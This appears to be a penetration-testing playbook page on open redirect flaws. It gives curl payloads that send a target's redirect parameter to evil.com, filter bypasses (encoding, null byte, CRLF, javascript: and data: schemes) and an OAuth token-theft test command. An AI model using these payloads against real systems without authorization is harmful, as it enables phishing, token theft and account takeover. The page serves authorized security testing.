Open Redirect

Objective

Exploit URL redirect parameters to redirect users to attacker-controlled domains, steal OAuth tokens, or bypass security controls.

Testing Methodology

Phase 1: Identify Redirect Parameters

Common parameter names:

url, redirect, redirect_url, redirect_uri, return, return_url, returnTo,
next, goto, target, dest, destination, rurl, redir, forward, continue,
callback, path, out, view, login_url, image_url, go, link, ref

Phase 2: Basic Payloads

# Direct redirect
curl -s -D- "https://TARGET/redirect?url=https://evil.com"

# Protocol-relative
curl -s -D- "https://TARGET/redirect?url=//evil.com"

# Encoded
curl -s -D- "https://TARGET/redirect?url=https%3A%2F%2Fevil.com"

# Backslash bypass
curl -s -D- "https://TARGET/redirect?url=https://evil.com\@TARGET"

# At-sign bypass
curl -s -D- "https://TARGET/redirect?url=https://TARGET@evil.com"

Phase 3: Filter Bypass

# Subdomain matching
curl -s -D- "https://TARGET/redirect?url=https://TARGET.evil.com"

# URL encoding tricks
curl -s -D- "https://TARGET/redirect?url=https://evil.com%23.TARGET"

# Double encoding
curl -s -D- "https://TARGET/redirect?url=https://%65%76%69%6c.com"

# Null byte
curl -s -D- "https://TARGET/redirect?url=https://evil.com%00.TARGET"

# CRLF + Location header
curl -s -D- "https://TARGET/redirect?url=%0d%0aLocation:%20https://evil.com"

# JavaScript scheme
curl -s -D- "https://TARGET/redirect?url=javascript:alert(document.domain)"

# Data URI
curl -s -D- "https://TARGET/redirect?url=data:text/html,<script>alert(1)</script>"

Phase 4: OAuth Token Theft

# Test with OAuth tester
attack_script oauth_tester "https://TARGET/oauth/authorize" \
  --client-id CLIENT_ID \
  --redirect-uri "https://TARGET/callback" \
  --json-output

If redirect_uri accepts attacker domain, the OAuth code/token is sent to the attacker.

Phase 5: Impact Escalation

• Redirect in login flow → credential phishing
• Redirect in OAuth flow → token theft (P1)
• Redirect in email verification → account takeover
• Redirect + SSRF → internal access

What Constitutes a Finding

Finding	Severity
Open redirect + OAuth token theft	Critical (P1)
Open redirect in login/auth flow	High (P2)
Generic open redirect	Medium (P3)
JavaScript scheme redirect (XSS)	High (P2)

Evidence Requirements

• URL with redirect parameter and payload
• Response showing 302/301 to attacker domain
• For OAuth: stolen authorization code/token
• Location header value in response

Tools

• attack_script oauth_tester — OAuth redirect_uri bypass testing
• curl — manual redirect testing

References

• PortSwigger: Open Redirect
• OWASP: Unvalidated Redirects